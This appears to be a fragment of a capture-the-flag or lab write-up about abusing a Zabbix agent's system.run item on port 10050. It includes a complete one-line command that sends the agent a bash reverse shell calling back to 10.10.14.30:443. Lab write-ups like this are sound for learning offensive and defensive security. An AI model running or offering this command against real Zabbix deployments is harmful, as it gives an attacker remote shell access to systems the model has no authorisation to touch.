Zabbix server can interact directly with the Zabbix agent on port 10050. So we can execute commands through the agent using system.run!
[zabbix_cmd]>>: echo "system.run[(/bin/bash -c 'bash -i >/dev/tcp/10.10.14.30/443 0<&1 2>&1 &')]" | nc 172.17.0.1 10050